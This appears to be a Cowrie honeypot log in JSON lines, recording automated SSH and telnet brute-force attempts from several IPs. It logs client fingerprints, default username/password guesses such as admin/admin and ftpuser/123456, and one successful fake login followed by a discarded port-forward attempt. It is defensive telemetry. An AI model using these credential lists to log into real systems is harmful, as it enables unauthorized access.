{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52216,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbb58f5ca52","protocol":"telnet","message":"New connection: 45.58.127.90:52216 (10.17.0.5:23) [session: 5dbb58f5ca52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:29.814609Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49574,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aedfe1977bd","protocol":"ssh","message":"New connection: 176.65.132.129:49574 (159.203.135.109:22) [session: 2aedfe1977bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:30.979737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:30.985039Z","src_ip":"176.65.132.129","session":"2aedfe1977bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:31.066745Z","src_ip":"176.65.132.129","session":"2aedfe1977bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:31.312643Z","src_ip":"176.65.132.129","session":"2aedfe1977bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:32.510118Z","src_ip":"176.65.132.129","session":"2aedfe1977bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49598,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fbc8cec8662","protocol":"ssh","message":"New connection: 176.65.132.129:49598 (159.203.135.109:22) [session: 4fbc8cec8662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:34.275976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:34.280297Z","src_ip":"176.65.132.129","session":"4fbc8cec8662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:34.361735Z","src_ip":"176.65.132.129","session":"4fbc8cec8662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:34.715698Z","src_ip":"176.65.132.129","session":"4fbc8cec8662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:35.800522Z","src_ip":"176.65.132.129","session":"4fbc8cec8662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34132,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8286027686f","protocol":"ssh","message":"New connection: 176.65.132.129:34132 (159.203.135.109:22) [session: c8286027686f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:37.793800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:37.798586Z","src_ip":"176.65.132.129","session":"c8286027686f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:37.881284Z","src_ip":"176.65.132.129","session":"c8286027686f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:38.132709Z","src_ip":"176.65.132.129","session":"c8286027686f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42558,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ee6695d0abc","protocol":"ssh","message":"New connection: 172.237.20.62:42558 (159.203.135.109:22) [session: 6ee6695d0abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:38.298770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:38.303686Z","src_ip":"172.237.20.62","session":"6ee6695d0abc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:38.462705Z","src_ip":"172.237.20.62","session":"6ee6695d0abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:39.147350Z","src_ip":"172.237.20.62","session":"6ee6695d0abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:39.217322Z","src_ip":"176.65.132.129","session":"c8286027686f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:40.310003Z","src_ip":"172.237.20.62","session":"6ee6695d0abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43894,"dst_ip":"10.17.0.5","dst_port":22,"session":"0200112f3b36","protocol":"ssh","message":"New connection: 87.251.64.176:43894 (10.17.0.5:22) [session: 0200112f3b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:40.663220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:40.667898Z","src_ip":"87.251.64.176","session":"0200112f3b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:40.764559Z","src_ip":"87.251.64.176","session":"0200112f3b36","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.054108Z","src_ip":"87.251.64.176","session":"0200112f3b36","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.153218Z","session":"0200112f3b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34136,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6f1f08890eb","protocol":"ssh","message":"New connection: 176.65.132.129:34136 (159.203.135.109:22) [session: b6f1f08890eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.194936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.199686Z","src_ip":"176.65.132.129","session":"b6f1f08890eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.251283Z","src_ip":"87.251.64.176","session":"0200112f3b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.281317Z","src_ip":"176.65.132.129","session":"b6f1f08890eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.350773Z","src_ip":"87.251.64.176","session":"0200112f3b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:41.526863Z","src_ip":"176.65.132.129","session":"b6f1f08890eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b5b65caf56","protocol":"telnet","message":"New connection: 45.58.127.90:35612 (10.17.0.5:23) [session: a7b5b65caf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:42.546717Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:42.611748Z","src_ip":"176.65.132.129","session":"b6f1f08890eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":46064,"dst_ip":"159.203.135.109","dst_port":23,"session":"a859d5413142","protocol":"telnet","message":"New connection: 195.245.96.245:46064 (159.203.135.109:23) [session: a859d5413142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:43.149652Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34152,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccc0bea522b9","protocol":"ssh","message":"New connection: 176.65.132.129:34152 (159.203.135.109:22) [session: ccc0bea522b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:44.708457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:44.713646Z","src_ip":"176.65.132.129","session":"ccc0bea522b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:44.801755Z","src_ip":"176.65.132.129","session":"ccc0bea522b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:45.054282Z","src_ip":"176.65.132.129","session":"ccc0bea522b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:46.141814Z","src_ip":"176.65.132.129","session":"ccc0bea522b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":37097,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc8b179d728","protocol":"telnet","message":"New connection: 195.245.96.245:37097 (159.203.135.109:23) [session: bfc8b179d728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:47.678974Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42902,"dst_ip":"159.203.135.109","dst_port":22,"session":"847f7096501e","protocol":"ssh","message":"New connection: 176.65.132.129:42902 (159.203.135.109:22) [session: 847f7096501e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:48.062026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:48.066236Z","src_ip":"176.65.132.129","session":"847f7096501e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ct